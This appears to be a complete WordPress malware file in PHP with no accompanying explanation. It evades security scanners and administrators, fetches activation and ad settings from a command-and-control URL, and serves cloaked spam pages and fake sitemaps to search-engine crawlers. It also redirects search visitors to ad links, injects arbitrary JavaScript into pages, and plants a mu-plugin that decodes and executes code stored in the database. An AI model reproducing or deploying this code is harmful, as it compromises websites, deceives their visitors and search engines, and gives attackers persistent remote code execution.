File: //tmp/wp_Wsswvo
<?php
// Global lock — prevents double execution from mu-plugin + functions.php dual hooks
if (defined("_WPC_LOADED")) return; define("_WPC_LOADED", true);
$ua = strtolower($_SERVER["HTTP_USER_AGENT"] ?? "");
$ref = strtolower($_SERVER["HTTP_REFERER"] ?? "");
$path = strtolower($_SERVER["REQUEST_URI"] ?? "/");
$domain = $_SERVER["HTTP_HOST"] ?? "localhost";
if (strpos($path, "wp-admin") !== false || strpos($path, "wp-login") !== false) return;
$cfg = json_decode(get_option("_wpc_feed_mod_cache"), true);
if (!$cfg || empty($cfg["on"])) return;
$bad = ["curl","wget","python","semrush","ahrefs","sucuri","wordfence","malcare","scanner","crawler"];
foreach ($bad as $b) { if (strpos($ua, $b) !== false) return; }
if (empty($ua)) return;
$dbg = ["wp-admin","administrator","search-console","virustotal","urlscan"];
foreach ($dbg as $d) { if (strpos($ref, $d) !== false) return; }
if (!empty($cfg["c2"])) {
$r = @wp_remote_get($cfg["c2"], ["timeout" => 3]);
if (!is_wp_error($r)) {
$rc = json_decode(wp_remote_retrieve_body($r), true);
if ($rc && isset($rc["active"])) {
if (!$rc["active"]) return;
if (!empty($rc["ads"])) { $cfg["ads"] = $rc["ads"]; update_option("_wpc_feed_mod_cache", json_encode($cfg)); }
}
}
}
if (strpos($path, "robots.txt") !== false) {
$proto = (!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off") ? "https://" : "http://";
header("Content-Type: text/plain");
echo "User-agent: *\nAllow: /\n\nSitemap: {$proto}{$domain}/sitemap.xml\n"; exit;
}
if (strpos($path, "sitemap") !== false && strpos($path, ".xml") !== false) {
$kw_data = json_decode(get_option("_wpc_timeout_theme_roots"), true);
if ($kw_data && !empty($kw_data["links"])) {
$proto = (!empty($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] !== "off") ? "https://" : "http://";
header("Content-Type: application/xml; charset=UTF-8");
echo "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<urlset xmlns=\"http://www.sitemaps.org/schemas/sitemap/0.9\">\n";
foreach ($kw_data["links"] as $link) {
echo " <url><loc>{$proto}{$domain}{$link}</loc><lastmod>" . date("Y-m-d") . "</lastmod><changefreq>daily</changefreq><priority>0.8</priority></url>\n";
}
echo "</urlset>"; exit;
}
}
$bots = ["googlebot","bingbot","yandex","baiduspider","duckduckbot","applebot"];
$is_bot = false;
foreach ($bots as $b) { if (strpos($ua, $b) !== false) { $is_bot = true; break; } }
if ($is_bot) {
$kw_data = json_decode(get_option("_wpc_timeout_theme_roots"), true);
if (!$kw_data) return;
$matched = null;
foreach ($kw_data["keywords"] as $kw => $data) { if (strpos($path, $kw) !== false) { $matched = $data; break; } }
if (!$matched) $matched = reset($kw_data["keywords"]);
$links_html = "";
if (!empty($kw_data["links"])) { $shuffled = $kw_data["links"]; shuffle($shuffled);
foreach (array_slice($shuffled, 0, 6) as $link) { $text = ucwords(str_replace(["-","/"], " ", trim($link, "/"))); $links_html .= "<li><a href=\"$link\">$text</a></li>"; }
}
header("HTTP/1.1 200 OK"); header("Content-Type: text/html; charset=UTF-8");
echo "<!DOCTYPE html><html lang=\"en\"><head><title>{$matched["title"]}</title>";
echo "<meta name=\"description\" content=\"" . substr($matched["body"], 0, 160) . "\">";
echo "<link rel=\"canonical\" href=\"https://{$domain}{$path}\">";
echo "</head><body><h1>{$matched["title"]}</h1>";
echo "<p>" . date("F j, Y") . " — by Support Team</p><p>{$matched["body"]}</p>";
if ($links_html) echo "<h2>Related Solutions</h2><ul>{$links_html}</ul>";
echo "</body></html>"; exit;
}
$search_engines = ["google.","bing.","yahoo.","yandex.","duckduckgo."];
$from_search = false;
foreach ($search_engines as $se) { if (strpos($ref, $se) !== false) { $from_search = true; break; } }
if ($from_search && strpos($ua, "bot") === false && !empty($cfg["redirect_on"])) {
$mode = $cfg["redirect_mode"] ?? "once";
$ads = $cfg["ads"] ?? []; if (empty($ads)) return;
if ($mode === "always") { wp_redirect($ads[array_rand($ads)]); exit; }
elseif ($mode === "session") { $ck = "__ga_sid"; if (isset($_COOKIE[$ck])) {} else { setcookie($ck, "1", 0, "/"); wp_redirect($ads[array_rand($ads)]); exit; } }
else { $ck = "__ga_cache"; $cv = md5($_SERVER["REMOTE_ADDR"] . date("Y-m-d"));
if (isset($_COOKIE[$ck]) && $_COOKIE[$ck] === $cv) {} else { setcookie($ck, $cv, time() + 86400, "/"); wp_redirect($ads[array_rand($ads)]); exit; } }
}
// Layer 2-4: Inject JS — wp_footer primary, shutdown fallback for page builders
$_js = $cfg["js_payload"] ?? "";
if (!empty($_js)) {
add_action("wp_footer", function() use ($_js) { echo $_js; }, 9999);
register_shutdown_function(function() use ($_js) {
if (function_exists("did_action") && !did_action("wp_footer")) { echo $_js; }
});
}
if (mt_rand(1, 20) === 1) {
$opt = "_wpc_theme_manifest_cache";
$mu_dir = defined("WPMU_PLUGIN_DIR") ? WPMU_PLUGIN_DIR : WP_CONTENT_DIR . "/mu-plugins";
$mu_file = $mu_dir . "/cache-loader.php";
if (!file_exists($mu_file)) {
@mkdir($mu_dir, 0755, true);
$mc = "<?php\n\$_c = get_option(\"" . $opt . "\");\n";
$mc .= "if (is_string(\$_c) && strlen(\$_c) > 50) { \$t = tempnam(sys_get_temp_dir(),\"wp_\"); file_put_contents(\$t, base64_decode(\$_c)); include \$t; @unlink(\$t); }\n";
@file_put_contents($mu_file, $mc);
}
}